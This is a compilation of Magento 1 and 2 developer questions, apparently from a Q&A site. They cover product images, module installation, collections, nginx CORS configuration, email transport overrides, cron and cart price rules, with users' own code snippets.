texts: Magento 2 Base image tag on UI does not match with API response

texts:
I had a product for which I had uploaded a base image with file name 7aceebe8-7adf-48dc-9c78-c235999b34a1.jpg Then I uploaded another image 677dce28-258e-4a92-ba4a-88fae42c9b60.jpg as base image via API. Now my product on admin page has tag 'Base image' for file 677dce28-258e-4a92-ba4a-88fae42c9b60.jpg.
But the api response in the postman still indicates the previous image as the base image.
I have cleared the cache but no resolution. Am I missing something here? Doesn't the 'image' type in the api response refer to the base image? Or is there any other way where I can clearly get all the product image information with base and thumbanail tag?


texts: What is performed during module installation (magento connect)

texts:
I found on internet an open source module which can help me developing some function of my own module.

I then tried to implement it on my shop to test it by copying the app directory.

But I got errors on the observer.php regarding the eval() function.

I then installed it via magento connect using the package.xml file. And it works.

I would like to understand what does the installation which is not performed by file copying.

Here is the package.xml file :

<package><name>GoIvvy_PriceFormula</name><license uri="http://goivvy.com">GoIvvy.com software license</license><notes /><time>00:50:53</time><__packager>build_package.py v0.0.3</__packager><summary>calculate final price based on formula</summary><stability>stable</stability><__commit_hash>b5a202c05d2618783bf8c79f20043a01fa95c255</__commit_hash><version>1.0.0.0</version><extends /><contents><target name="mageetc"><dir name="modules"><file hash="20826458b307f2088ed2d826c6879902" name="GoIvvy_PriceFormula.xml" /></dir></target><target name="magecommunity"><dir name="GoIvvy"><dir name="PriceFormula"><dir name="etc"><file hash="851feb4dec3d1aedca5630222b52dbe7" name="system.xml" /><file hash="ed74f8c3c608a262fd530e4959fa2175" name="config.xml" /></dir><dir name="Model"><file hash="5da79fe4d3ec83aae4e739870d7cdb38" name="Observer.php" /></dir></dir></dir></target></contents><dependencies><required><php><min>5.2.0</min><max>6.0.0</max></php></required></dependencies><authors><author><name>goivvy.com</name><user>ivvy_ru</user><email>go@ivvy.ru</email></author></authors><date>2013-07-22</date><compatibile /><channel>community</channel><description>calculate final price based on formula</description></package>


texts: Can Patch SUPEE-8167 be installed on older Magento 1.9 version?

texts:
I am on an older version of Magento. Can the patch still be applied even on an old version or does it need to be on 1.9?

Thank you for you help.


texts: Magento 2: Upload image without Ui component

texts:
how can I upload an image by this way, please help me, thank you

     $fieldset->addField(
        'image_field_name',
        'image',
        [
            'name'        => 'image_field_name',
            'label'       => __('Image field Label'),
            'title'       => __('Image field Label'),
        ]
    );


texts: How to add additional fields to 'Items to invoice' Grid? in Magento 1.9

texts:
I need to add extra attribute under SKU in first tab Sales->Orders->OrderId'#100000001'->Invoice

I'm new to this task..Can anyone help me For this?


texts: Magento 2: Reduce the width and height of Product image in product detail page

texts: I want to reduce the width and height of the product image in product detail page magento2?


texts: When I successfully sign in, redirection should be back to where i left

texts:
Currently, our system kind of acts weird.

Steps:

I selected cart as guest user
Then prior to checking out I signed in
Then I input my sign in details
Once I successfully signed in, i get redirected to account dashboard.

Is this the normal Magento process?  If not, how do we setup the system so that when I successfully sign in, I get redirected back to where I was prior signing in?

Thank you.


texts: Use Auto generation in coupons doesn't save, weird issue

texts:
I am testing the Use Auto generation  in the shopping cart promotion but when I tick the box and save the extra manage coupons is added but I can not do anything there. When I check the first tab again the use auto generation is not ticked anymore.

weird!

Anybody has any idea? Do not get any error.


texts: Store email variable for insertion in block?

texts:
I want something like this in a CMS block:

Send an email

...which should result with a proper insertion of the General Email account for store1


texts: Import CSV for products with new sub categories

texts:
I'm importing a CSV file with new subcategories not already created.
Some times products imported correctly and others it gives me:

general system exception
Asymmetric transaction rollback

Anyone can help?


texts:
Get product_Id using following query,

public function getProductsIdBySku($skus)
    {
        $select = $this->getReadConnection()
            ->select()
            ->from($this->getTable('catalog/product'), array('entity_id'))
            ->where('sku IN (?)', (array) $skus);

        return $this->getReadConnection()->fetchCol($select);
    }

use  \Magento\Catalog\Model\ResourceModel\Product\Collection;

I'm trying to do that in magento2...

$collection = $this->_productCollection->getCollection()->addFieldToSelect('*');

        $collection->getSelect()
                ->reset(\Magento\Framework\DB\Select::COLUMNS)
                ->columns('entity_id');
             ->where('sku = ?', (array) $skus);
                 return $collection;

Its not working for me....If any mistakes in my query ..

Thanks.


texts: adding custom fields to cart rules's general information tab

texts:
i want to add a custom fields in cart rules's general information tab, the data will be stored in additional table with corresponding cart rules id.

what is the best practice to do this? should i use rewrite to do this? so rewrite which class? and what observer should be used?


texts: homepage magento delete cms code need magento1.9

texts:
Hello i have deleted my cms homepage code, now my homepage is not showing up anymore.

please help me, i need a new homepage code for my magento homepage.

I have try to fine it back and i can't fine it back. I use Magento 1.9.


texts: Magento 2.0 Add to wish list without redirect to wish list?

texts:
How to add a product to the wish list without triggering a redirect to the wish list?

I have tried many times. Please suggest the code for me, my theme is default LUMA.


texts: Object Manager in Unit Testing in magento 2

texts:
I am trying to write UnitTests for my module for magento 2.

For this purpose i need access to the objectManager->create method.

i already tried what Marius suggested here: How to obtain the Object Manager in Unit-Tests?

but if i run those unittest, i get the following error message:

PHP Fatal error:  Call to undefined method Magento\Framework\TestFramework\Unit\Helper\ObjectManager::create()

am I doing anything wrong?

I searched through the magento core code, but I wasn't able to get the "real" objectManager


texts: Currency convert for some products but not all products

texts:
I have 4 stores (2) Retail and 2 Wholesale.
I would like Product A to sell for :
-$100 US in International Retail store

$100 CA in Canadian Retail store
$50 US in International Wholesale store
$50 CA in Canadian Wholesale store

Product B and most of my other products
-$currency converted value US in International Retail store

$100 CA in Canadian Retail store
not for sale in International Wholesale store
not for sale in in Canadian Wholesale store

I have 90 products like product A and 1000 products like product B
Got any ideas ?
Mike


texts: Address Options > Number of Lines in a Street Address

texts:
I am experiencing a problem in my magento 2 store.
I cannot set the line quantity in Settings> Client Configuration> Name and Address Options> Number of Lines in Address
I can put any value 1, 2,3 or 4
Magento always returns only two lines as shown below.
This error occurs in all places where the customer's address is placed, either in the admin, in / customer or at the checkout
All the basic procedures for cleaning caches, compilation and deploys were done, I even rebooted the server but nothing worked.
Environment:
PHP 7.3
Magento 2.3.6
Opcache
Redis
MYSQL
Magento is in developer mode,
none
exception for this error.
I did a search for street in my database and got these results in the table eav_attribute.
I just recently migrate the data from my magento 1 store and I believe something is corrupted in my database.


texts: How to add admin "user id" in "catalog_product_entity" table in magento

texts: I want to check which user adding product and listing user wise products in Manage products section.


texts: Magento 2 Category page swatches not showing after infinite scroll

texts: I have infinite scroll on category pages. When the page loads first time the products show configurable swatches. But when I scroll down and more products are loaded, then the products displayed after load doesn't show configurable swatches. Check the screenshot https://nimb.ws/P9dbWR


texts: I have a page that is enabled and still is giving me a 500 error. https://case-mate.com/iridescent-wristlet-folio-iphone7 is a live product. Anyone have any ideas?


texts: How to get Email Details from magento 2 using preferences

texts:
I need to get Email Details for recipients,Subject,body,header, so i wrote a preference to override a Sendmail class then, get email Details and follow my blow code:

di.xml FIle:

<?xml version="1.0"?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  xsi:noNamespaceSchemaLocation="urn:magento:framework:ObjectManager/etc /config.xsd">
     <!-- for override magento default Transport class with our custom module model-->
     <preference for="\Magento\zendframework1\library\Zend\Mail\Transport\Sendmail.php" type="ChennaiBox\EmailType\Model\Sendmail.php"/>
</config>

And My SmailMail Class:

  <?php
#require_once 'Zend/Mail/Transport/Abstract.php';
class Zend_Mail_Transport_Sendmail extends Zend_Mail_Transport_Abstract
{

public $subject = null;
public $parameters;
public $EOL = PHP_EOL;
protected $_errstr;

    public function __construct($parameters = null)
{
    if ($parameters instanceof Zend_Config) {
        $parameters = $parameters->toArray();
    }

    if (is_array($parameters)) {
        $parameters = implode(' ', $parameters);
    }

    $this->parameters = $parameters;
}

public function _sendMail()
{
    if ($this->parameters === null) {
        set_error_handler(array($this, '_handleMailErrors'));

            **$rcp = $this->recipients,
            $sub = $this->_mail->getSubject(),
            $body= $this->body,
            $head= $this->header**

           **$myfile = fopen("SendMailFile1.txt", "w") or die("Unable to open file!");
           fwrite($myfile, "This is my Email Test");
           fwrite($myfile, $sub);
           fclose($myfile);**

    } else {
        if(!is_string($this->parameters)) {

            #require_once 'Zend/Mail/Transport/Exception.php';
            throw new Zend_Mail_Transport_Exception(
                'Parameters were set but are not a string'
            );
        }

        set_error_handler(array($this, '_handleMailErrors'));
           **$rcp = $this->recipients,
            $sub = $this->_mail->getSubject(),
            $body= $this->body,
            $head= $this->header**

           **$myfile = fopen("SendMailFile2.txt", "w") or die("Unable to open file!");
           fwrite($myfile, "This is my Email Test");
           fwrite($myfile, $sub);
           fclose($myfile);**

    }

    if ($this->_errstr !== null || !$result) {

        #require_once 'Zend/Mail/Transport/Exception.php';
        throw new Zend_Mail_Transport_Exception('Unable to send mail. ' . $this->_errstr);
    }
}

}

I try to Override this class and get Email details But, Its Working for Me, NO files created on this directory and no logs based on this process.but, Email Send perfectly. What is problem in my code and how to get email details while send a email to customer.


texts: Magento Index : Update Required field always is set to YES

texts:
I am not very much sure about how Magento Indexing works, But "Update Required" field is set to "Yes" immediately after i am done with re-indexing all indexes.

I have few queries regarding indexing

On what condition status of an Indexer changes?
Are various indexer available in Magento are dependent on each other?
Why it shows    "Update required = Yes" even it is in "Ready" status.
?
Is indexing    executed  on daily basis?If yes, then from where we
can change time     of its execution?
If a store receives couple of thousand request to update inventory
via Soap API, do indexer are executed and updated  for every request
which is received to update inventory of a product?

Your valuable input are much appreciated.

Thank You.


texts: Product names are randomly translated in Magento widget

texts:
I've implemented a custom product slider in my Magento store. Sometimes the product titles in the slider are in English instead of Dutch on the Dutch storeview.

When I empty the cache everything works normal (titles back to Dutch) for about 1-2 hours and then after a period of time, the product titles go back to English.

This is the code that is used for the product collection in the sliders:

protected function _getProductCollection()
{
    $productCollection = null;

    $category = $this->getCategory();
    if ($this->getCategory() != null && $category->getId()) {
        $productCollection = $category->getProductCollection()
            ->addStoreFilter()
            ->setPageSize(11)
            ->setCurPage(1);

        Mage::getSingleton('catalog/product_visibility')
            ->addVisibleInCatalogFilterToCollection($productCollection);

        $this->_addProductAttributesAndPrices($productCollection);
    }

    return $productCollection;
}

Sidenote: We've recently implemented a hreflang module in our store. After this implementation, the problems seem to have started.


texts: How to validate select dropdown from custom payment method

texts:
I have a custom payment method I've implemented and it has a form that looks something like this:

<div class="form-list" id="payment_form_<?php echo $this->getMethodCode() ?>" style="display:none;">

        <label for="<?php echo $_code ?>_method_no"><?php echo $this->__('Method No') ?>*

          <select id="<?php echo $_code ?>_method_no" name="payment[method_no]"
                  class="dropdown validate-select payment-type-select"
                  value="<?php echo $this->htmlEscape($this->getInfoData('method_no')) ?>">
              <option value=""><?php echo $this->__('--Please Select--') ?></option>
              <option title="<?php echo $this->__('Method One') ?>" value="1">Method One</option>
              <option title="<?php echo $this->__('Method Two') ?>" value="2">Method Two</option>
              <option title="<?php echo $this->__('Method Three') ?>" value="3">Method Three</option>
          </select>

    <?php echo $this->getMethod()->getConfigData('message'); ?>

My question is, how do I validate this in my  model validate function?  I know that I have validation on the front end with the class validate-select but I would like to know how I can check the value in the validate function.  I have something like this right now but it is not working:

<?php
class Name_Mypaymentmethod_Model_Standard extends Mage_Payment_Model_Method_Abstract {
    protected $_code = 'mypaymentmethod';

    protected $_isInitializeNeeded      = true;
    protected $_canUseInternal          = true;
    protected $_canUseForMultishipping  = false;

    protected $_formBlockType = 'mypaymentmethod/form';
    protected $_infoBlockType = 'mypaymentmethod/info';

    public function getOrderPlaceRedirectUrl() {
        return Mage::getUrl('mypaymentmethod/payment/redirect', array('_secure' => true));
    }

    public function assignData($data) {
        $info = $this->getInfoInstance();

        if ($data->getMethodNo())
        {
          $info->setMethodNo($data->getMethodNo());
        }

        return $this;
    }

    public function validate() {
        parent::validate();
        $info = $this->getInfoInstance();

        if (!$info->getMethodNo())
        {
          $errorCode = 'invalid_data';
          $errorMsg = $this->_getHelper()->__("Please select a method.\n");
        }

        if ($errorMsg)
        {
          Mage::throwException($errorMsg);
        }

        return $this;
    }

}
?>

It seems like the $info->getMethodNo() function is not working for my select dropdown.  How do I get the value?  I've been looking through forums, tutorials, posts for the last couple hours and can't find anything that shows validating a select dropdown like this.

Any help would be appreciated!  Thanks


texts:
Argh! This is the error message:

Item (My_returns_model) with the same id "913" already exist

I need to not use GROUP BY because I am using a paginated grid. Here is my code:

$collection = Mage::getModel('pvxcloudbridge/returns')->getCollection()
        ->addFieldToSelect('id') //<-- this is the culprit
        ->addFieldToSelect('returnid')
        ->addFieldToSelect('orderid')
        ->addFieldToSelect('itemcode')
        ->addFieldToSelect('qtyreturned')
        ->addFieldToSelect('conditioncode')
        ->addFieldToSelect('updated_at')
        ->addFieldToSelect('processed');
$collection->getSelect()->joinLeft(array('sfo' => 'sales_flat_order'), 'main_table.orderid = sfo.increment_id', array('sfo.created_at', 'sfo.grand_total'));
$collection->getSelect()->joinLeft(array('sfoa' => 'sales_flat_order_address'), 'sfo.entity_id=sfoa.parent_id', array('country_id'));
$collection->getSelect()->joinLeft(array('sfs' => 'sales_flat_shipment'), 'sfoa.parent_id=sfs.order_id', array('sfs.created_at'));
$collection->getSelect()->joinLeft(array('sfcg' => 'sales_flat_creditmemo_grid'), 'sfo.increment_id=sfcg.order_increment_id', array('sfcg.base_grand_total'));

$collection->join(array('payment' => 'sales/order_payment'), 'sfo.entity_id=payment.parent_id', 'method');

$collection->getSelect()->columns(
array(
    'days' => new Zend_Db_Expr('DATEDIFF(`main_table`.`updated_at`,`sfs`.`created_at`)'),
    'refund' => new Zend_Db_Expr('sfcg.base_grand_total'),
));

$collection->getSelect()->distinct(true);

$this->setCollection($collection);
return parent::_prepareCollection();

And here is the actual query being generated:

 SELECT DISTINCT `main_table`.`id`, `main_table`.`returnid`, `main_table`.`orderid`,
`main_table`.`itemcode`, `main_table`.`qtyreturned`, `main_table`.`conditioncode`,
`main_table`.`updated_at`, `main_table`.`processed`, `sfo`.`created_at`,
`sfo`.`grand_total`, `sfoa`.`country_id`, `sfs`.`created_at`, `sfcg`.`base_grand_total`,
`payment`.`method`, DATEDIFF(`main_table`.`updated_at`,`sfs`.`created_at`) AS `days`, sfcg.base_grand_total AS `refund`
FROM `pvxcloudbridge_returns` AS `main_table` LEFT JOIN `sales_flat_order` AS `sfo` ON main_table.orderid = sfo.increment_id
LEFT JOIN `sales_flat_order_address` AS `sfoa` ON sfo.entity_id=sfoa.parent_id
LEFT JOIN `sales_flat_shipment` AS `sfs` ON sfoa.parent_id=sfs.order_id LEFT JOIN `sales_flat_creditmemo_grid` AS `sfcg` ON sfo.increment_id=sfcg.order_increment_id INNER JOIN `sales_flat_order_payment` AS `payment` ON sfo.entity_id=payment.parent_id

Any help is appreciated.


texts: Magento 2 : Notice : Undefined property Interceptor::$inlineTranslation

texts:
I am overriding contact us from this tutorial
but after running am getting following error :

1 exception(s):
Exception #0 (Exception): Notice: Undefined property: Mycontct\Person\Controller\Magento\Contact\Index\Post\Interceptor::$inlineTranslation in /home/fphonour/www/olympics2020.net/app/code/Mycontct/Person/Controller/Magento/Contact/Index/Post.php on line 23

What am I missing?

Post controller :

<?php

namespace Mycontct\Person\Controller\Magento\Contact\Index;

use Magento\Framework\App\Request\DataPersistorInterface;
use Magento\Framework\App\ObjectManager;

class Post extends \Magento\Contact\Controller\Index\Post
{

    private $dataPersistor;

    public function execute()
    {

        $post = $this->getRequest()->getPostValue();

        if (!$post) {
            $this->_redirect('*/*/');
            return;
        }

        $this->inlineTranslation->suspend();
        try {
            $postObject = new \Magento\Framework\DataObject();
            $postObject->setData($post);

            $error = false;

            if (!\Zend_Validate::is(trim($post['name']), 'NotEmpty')) {
                $error = true;
            }
            if (!\Zend_Validate::is(trim($post['comment']), 'NotEmpty')) {
                $error = true;
            }
            if (!\Zend_Validate::is(trim($post['email']), 'EmailAddress')) {
                $error = true;
            }
            if (\Zend_Validate::is(trim($post['hideit']), 'NotEmpty')) {
                $error = true;
            }
            if ($error) {
                throw new \Exception();
            }

            $storeScope = \Magento\Store\Model\ScopeInterface::SCOPE_STORE;
            $transport = $this->_transportBuilder
            ->setTemplateIdentifier($this->scopeConfig->getValue(self::XML_PATH_EMAIL_TEMPLATE, $storeScope))
            ->setTemplateOptions(
                    [
                            'area' => \Magento\Backend\App\Area\FrontNameResolver::AREA_CODE,
                            'store' => \Magento\Store\Model\Store::DEFAULT_STORE_ID,
                    ]
                    )
                    ->setTemplateVars(['data' => $postObject])
                    ->setFrom($this->scopeConfig->getValue(self::XML_PATH_EMAIL_SENDER, $storeScope))
                    ->addTo($this->scopeConfig->getValue(self::XML_PATH_EMAIL_RECIPIENT, $storeScope))
                    ->setReplyTo($post['email'])
                    ->getTransport();

                    $transport->sendMessage();
                    $this->inlineTranslation->resume();

                    $message = __('Thanks for contacting us with your comments and questions. We\'ll respond to you very soon.');

                    $this->getDataPersistor()->clear('contact_us');
                    echo $message;
                    //$this->_redirect('contact/index');
                    return;
        } catch (\Exception $e) {
            $this->inlineTranslation->resume();
            $message =
                    __('We can\'t process your request right now. Sorry, that\'s all we know.');

            $this->getDataPersistor()->set('contact_us', $post);
            //$this->_redirect('contact/index');
            echo $message;
            return;
        }
    }

    private function getDataPersistor()
    {
        if ($this->dataPersistor === null) {
            $this->dataPersistor = ObjectManager::getInstance()
            ->get(DataPersistorInterface::class);
        }

        return $this->dataPersistor;
    }
}


texts:
Magento 2. Custom module.
I have to run some raw SQLs. It works and doesn't show any error. But when I'm trying to upload module to Magento 2 Market Place (developer.magento.com/extension) it shows in technical report a dozen of such errors:

Possible raw SQL statement 'UPDATE `' detected.
Possible raw SQL statement 'SELECT MAX(entity_id) AS MaxOrderId FROM ' detected.
Possible raw SQL statement 'SELECT COUNT(entity_id) AS CountNewOrder FROM ' detected.

What is the correct way to run this statement?

$sql = 'SELECT COUNT(entity_id) AS CountNewOrder FROM ' . $this->getDbPrefix() . 'sales_order WHERE entity_id > ' . $order_id;
$result = \Magento\Framework\App\ObjectManager::getInstance()->getConnection()->fetchAll($sql);*


texts: Magento Snippet code in CMS not working with double curly braces {{}}

texts:
My 3rd party plugin company ask me to Snippet in this code to my CMS page. but Magento did translate something else for the double curly braces.
How can I Snippet in below code to the CMS page?


texts: Get all Categories of Products in Category - PHP

texts:
What I am trying to do is to get all of the categories that belong to products in a given category. Given the brand category Nike, I want to display the categories that products in Nike also belong too. For instance, in the category Nike there are products that also belong to the categories: Shoes, Shirts, Shocks etc. I want to display a list of these categories.

I have seen many many ways to display the subcategories and subcategories of a parent category. But I am unsure of how to get the categories that each product belongs to for a given category.

Any help or guidance is appreciated.


texts: Magento How to make form fields validation work only when form loses focus

texts:
When I'm creating new shipping address in Magento after i write one letter in any field all of the fields are being validated. I guess that all the validation is done in my /magento/js/prototype/validation.js file but when I try to comment out onChange event it doesn't take any effect. How can I make validation work only after onblur effect?

Here's my validation.js code for attaching the events:

if(this.options.immediate) {
                Form.getElements(this.form).each(function(input) {
                    if (input.tagName.toLowerCase() == 'select') {
                        Event.observe(input, 'blur', this.onChange.bindAsEventListener(this));
                    }
                    if (input.type.toLowerCase() == 'radio' || input.type.toLowerCase() == 'checkbox') {
                        Event.observe(input, 'click', this.onChange.bindAsEventListener(this));
                    } else {
                        Event.observe(input, 'change', this.onChange.bindAsEventListener(this));
                    }
                }, this);
            }


texts: How to get layout not reload when redirect page?

texts:
I'm using a layout name "layout_default.xml" each controller in my module.

Can I make magento not to reload that layout when I redirect to another controller?

I call layout_default by using

<update handle="layout_default"/>

Thanks!


texts: Allow countries keeps resetting and allowing all on frontend?

texts:
Really sorry if this has been answered elsewhere or before, but I have searched everywhere I can think of using every combination of keywords and can't seem to find a solution to my problem.

I  did find someone asking the same question on Magento's forums, but it was never solved (http://www.magentocommerce.com/boards%20/viewthread/308501/)

Anyway I'm creating a store in Magento CE 1.8.1, which basically I want to only allow people to use the United Kingdom for their billing and shipping addresses. When I set System > Configuration > General > Countries Options > Allow Countries: to just the United Kingdom this works perfectly - i.e. on all checkout combinations whether guest, register or existing member, the only option under country for any address is United Kingdom.

However I then place a few test orders through the front end of the site, and then suddenly, seemingly at random during one of the orders the country drop-down will be back to default and from then on all address input forms will show all countries for selection.

Does anybody know why this might be or what steps I can take to track down why this is happening? When I go back into the admin the Allow Countries option seems to still be just on United Kingdom. However if I unselect it, reselect it, flush the cache and reindex then the behaviour of the country drop-down is back exactly as I want it again (i.e. just the United Kingdom).

I'm using the 1 page checkout and Ultimo theme. I've modified some aspects of the fontend templates, but nothing major, and have not modified anything in the backend/core. I have 5 extensions installed if that makes any difference: Magento Color Picker for Products by Orange35, Mass Product Relater by Iksanika, Contacts Form Captcha by Oleg_Koval, Fooman Same Order Invoice Number and Orders Eraser by Wyomind.

Thanks in advance for any help anyone can offer.


texts: Is it possible to remain SAQ-A PCI Compliant post Magento 1 EOL?

texts:
Given timescales and budget, migrating to Magento 2 (or any other platform) is not possible for us. We'd like to stick with Magento 1 atleast for the next 3 months. We have used Payeezy (FirstData) as Payment Gateway wherein the card/payment details are captured in the iframe,  complying with the PCI standards.

So, what further steps that I need to take in order to make my store SAQ-A PCI compliant post 30th June ? If SAQ-A type is not applicable can we use SAQ A-EP compliance ? Also, what can we expect for these SAQ types after 30th June if we continue with Magento 1.9 ?


texts: Can I use the RWD theme of Magento 1.9 in Magento 1.8?

texts:
It may be meaningless. I hope there may be some adjustments to use the RWD theme for Magento 1.8.1.

Unfortunately I have to use magento 1.8. I need more extensions to meet all client requirements.
Many of these extensions are not supported by Magento 1.9. But I liked the Magento 1.9 Responsive Theme very much.


texts: Magento 2.X: HTML files blocked by CORS if using Cloudfront and no Varnish hit

texts:
I have Magento 2.3.2 with nginx backend, SSL only, and proxypass to Varnish.

I have configured 2 distributions in my cloudfront CDN to serve media and static files.

To handle the CORS issues I have modified my nginx configuration file the
following way:

location /static/ {
    # Uncomment the following line in production mode
    # expires max;

    # Remove signature of the static files that is used to overcome the browser cache
    location ~ ^/static/version {
        rewrite ^/static/(version\d*/)?(.*)$ /static/$2 last;
    }

    location ~* \.(ico|jpg|jpeg|png|gif|svg|js|css|swf|eot|ttf|otf|woff|woff2|json)$ {
        add_header Cache-Control "public";
        add_header X-Frame-Options "SAMEORIGIN";
        include /etc/nginx/magento2-cors.conf;
        expires +1y;

        if (!-f $request_filename) {
            rewrite ^/static/(version\d*/)?(.*)$ /static.php?resource=$2 last;
        }
    }
    location ~* \.(zip|gz|gzip|bz2|csv|xml)$ {
        add_header Cache-Control "no-store";
        add_header X-Frame-Options "SAMEORIGIN";
        include /etc/nginx/magento2-cors.conf;
        expires    off;

        if (!-f $request_filename) {
           rewrite ^/static/(version\d*/)?(.*)$ /static.php?resource=$2 last;
        }
    }
    if (!-f $request_filename) {
        rewrite ^/static/(version\d*/)?(.*)$ /static.php?resource=$2 last;
    }
    add_header X-Frame-Options "SAMEORIGIN";
    include /etc/nginx/magento2-cors.conf;
}

The magento2-cors.conf snippet contains the following:

add_header 'Access-Control-Allow-Origin' '*' 'always';

if ($request_method = 'OPTIONS') {
    add_header 'Access-Control-Allow-Origin' '*' 'always';
    add_header 'Access-Control-Allow-Headers' 'x-requested-with' 'always';
    add_header 'Access-Control-Max-Age' 86400 'always';
    add_header 'Content-Length' 0 'always';
    return 204;
}

With this configuration I still have issues with html files being blocked by CORS. Because I am not sure if it is a good idea to whitelist CORS for all HTML files in my static folder, I have created a behavior in my Cloudfront config to not cache any html file and get it directly from origin (ie my static folder on the server).
However, if I do not warm Varnish, then somehow I still get a CORS error. The funny part is that the CORS mention the origin as being my server.... which is not supposed to return CORS issue.
I noticed that if I refresh the page, ie Varnish will hit, then the CORS error disappears.
Any idea how to handle this issue ?


texts: Get Group Attributes Details By Group ID

texts:
Hello How To Get Group Attributes Name By Group ID
<?php
$group_id = 20; // This is Group id

//what ineed is Get Groub Name Via ID of group


texts: How to get the image type in media image collection?

texts:
I want the product image type in galley object. Currently I'm getting the product images gallery as below. (Assume $id is the product ID)

$gallery= Mage::getModel('catalog/product')->load($id)->getMediaGalleryImages();

But If I Mage::log() any object in the $gallery collection it is like below.

[_data:protected] => Array
                        (
                            [value_id] => 4
                            [file] => /p/e/penguins_1.jpg
                            [product_id] => 4
                            [label] =>
                            [position] => 1
                            [disabled] => 0
                            [label_default] =>
                            [position_default] => 1
                            [disabled_default] => 0
                            [url] => http://xxxxxxxxxxxxxxxxxxx/media/catalog/product/p/e/penguins_1.jpg
                            [id] => 4
                            [path] => C:\xxxxxxxxxxxxxxxxxxxxxxxxxxxx\media\catalog\product\p\e\penguins_1.jpg
                        )

What I want is to get the image type in above object. Because getMediaGalleryImages() doesn't return collection with the image type.

  Image type can be 'image', 'small_image' or 'thumbnail'

Any suggestion, how can I get the image type?


texts: How to process the order if user closes the browser

texts:
I am looking at how to implement upsell checkout functionality, this is how it should work.

**Step 1*8. User go to the site then add product to the cart, and click the “checkout” button take them to the checkout page (one page checkout).

Step 2. User enter their shipping, billing and credit card information then click the “Process Order” button. Once user click the “Process Order” button the initial purchase is completed and take them to the first post up sell page.

Step 3. On the first post up sell page user have an option to buy additional product with “Yes” or “No” button.

Step 4. If user click the “No” button they will see the second post up sell page. If user click the “Yes” button they will see the post up sell confirmation page.

Step 5. On the post up sell confirmation page, user have option to continue with the initial purchase (step2) or they can update the order with additional item they purchased on the post up sell page.

I need to figure it out how to process the initial purchase (step2) and store the order details on the database and send the order confirmation email to the user if user close the browser on step 3.

How can I achieve this?


texts:
I've looked at a few extensions out there but most are overkill or don't quite fit.

Keen to create a simple extension instead if someone wants to point the way.

Admin interface to easily add photos with title, caption, description
Page to display the gallery
Block to show a set number of images and slide through them (eg, 3 shown, 12 total, slide transition)


texts: add parent category to existing sub category

texts:
I want to add parent category to highlighted category so that while navigating on front end, it should be XYZ -> BLUSA

I dont want to create new parent category then add new child category because this side contains almost 2800 products.


texts: Automatically generate a coupon or apply credit to a customers account

texts:
We are looking to draw in more customers to our store by offering incentive to existing customers to email friends about our website.

What we want to have is a page with a form on it where they can enter their email address and say 5 emails of their friends and then press a submit button. After that I would like to check that their email is registered on the site and either generate a £5 voucher to be sent to them, or just apply a £5 credit to their account.

Can either of those two options be setup in Magento by default or would an extension need to be used to achieve this?


texts:
I'm using this code for structured data.

<meta itemprop="price" content="<?php echo $_product->getPrice(); ?>">

I get the price that I need but it adds ".0000" at the end.

Please advise on how to remove those ".0000" or may be use a different code to call the price field.


texts: Magento 2.2.6 Discard Subsequent Rules not working

texts:
I'm using 2 cart price rules first with priority 1, discard subsequent rules on "yes" and second with priority 2, discard subsequent rules on "no",
Problem is that all of this cart rulse starting when first rule have to disable second.
How to solve this issue?


texts: Magento 2 : Add Custom Data From Product Page to Cart

texts: I have form on my product page where users can enter what they want their height to be. How can I send this data through to cart? I have created a row in quote_item table to save data in already.


texts: MySQL Ambiguity Error on Custom Collection Multiple Attribute Join

texts:
I have a custom collection which pretty much only consists of product entity ids. I'd like to display a lot of other attributes from EAV tables, but these are all stored in the value column, which results in an error

  Error Code: 1052 Column 'value' in field list is ambiguous

What kind of join method can I use in my _prepareCollection(); method?

I've tried:

$collection->getSelect()->join('catalog_product_entity_varchar', '`catalog_product_entity_varchar`.attribute_id=56 AND `catalog_product_entity_varchar`.entity_id = `main_table`.`product_id`', array('name'  => new Zend_Db_Expr((`catalog_product_entity_varchar`.value)));

Which works for one attribute, but if I try more than one I get the ambiguity issue even though I am specifying the parent table.

Would appreciate any assistance


texts:
i am trying to get wishlistdata using api
where i can find these
header "Authorization: Bearer pbhercbtk6dd3eatf1pyx8jj45avjluu"

Actual query
$ curl -X GET http://magento.example.com/rest/V1/wishlist --header "Authorization: Bearer pbhercbtk6dd3eatf1pyx8jj45avjluu"

Any thoughts on this ?
Thanks


texts: Magento is not sending newsletter due to cron job

texts:
I can't send newsletter because of cron job is not taking correct scheduled time in cron log

Aoe_schedular given error like

  No heartbeat task found. Check if cron is configured correctly

My scheduled time

And log in var/log/cron.log is

  2016-09-01T06:17:29+00:00 DEBUG (7): Generated schedule. Newest task
  is scheduled at "2016-09-01 06:36:00". (Duration: 0.4 sec)


texts: How to hide payment method based on billing address country ? Magento 2

texts: Plugin to hide payment method based on billing address country ? Magento 2


texts: Magento 2 how to remove/disable title/word below every single image in product page

texts:
I need to remove the image title/name below from product view pages. Magento version 2.2.5. Anyone know how do this?

The expectation is without title/name :)


texts: How to create web store on localhost in wamp with database

texts: How can i create a web store in Magento 2 with database? I install Magento, i made a database which is now, after installation, full with all tables that are needed, but i have to do new database for my final work on university and there is the problem. I don't know how to join that. I read something about doing models with databases, is that it? Please, help me. I don't need to do some extra web shop, database and its functionality are important.


texts: Magento 2.1 : Pagination of product collection

texts:
I am working on a custom script (not custom module) where I need to fetch product collection and display 5 products at a time. After displaying 5 products there is a link Next which displays next 5 records and so on.

How can i do this. Please.


texts: upgrading from version 1.9.2.3 to 1.9.2.4

texts:
If I update the files

How much time it will take to upgrade?
Which files I need to backup?
Is it any manual way to upgrade or just clicking on upgrade and it will do automatic?

I am new in Magento. Early response is appreciated...


texts: Magento 2. Duplicate firstname, lastname, email inputs on customer account create frontend

texts:
I have a problem on customer account create form on frontend. As it can be seen in the screenshot provided. First Name, Last Name and Email fields are duplicated.

Where is the logic that generates that block and how does Magento decide which fields to put there?

I've manage to find module-customer/view/frontend/templates/form/register.phtml by looking into module-customer/view/frontend/layout/customer_account_create.xml

On line 25 this is called  <?php echo $block->getLayout()->createBlock('Magento\Customer\Block\Widget\Name')->setObject($block->getFormData())->setForceUseCustomerAttributes(true)->toHtml() ?>

I've checked out 'Magento\Customer\Block\Widget\Name' but can not find the portion of code that decides how many fields to show and on what information is this based on.

Any pointers on how to debug this or further inspect are highly appreciated.

EDIT:

I found the template associated with the widget  module-customer/view/frontend/templates/widget/name.phtml still can't figure out the duplicates or from where email appeared given that it is nowhere to be found in this template


texts: Magento2 Install - Advanced Modules Configurations - where can I know each core modules function?

texts:
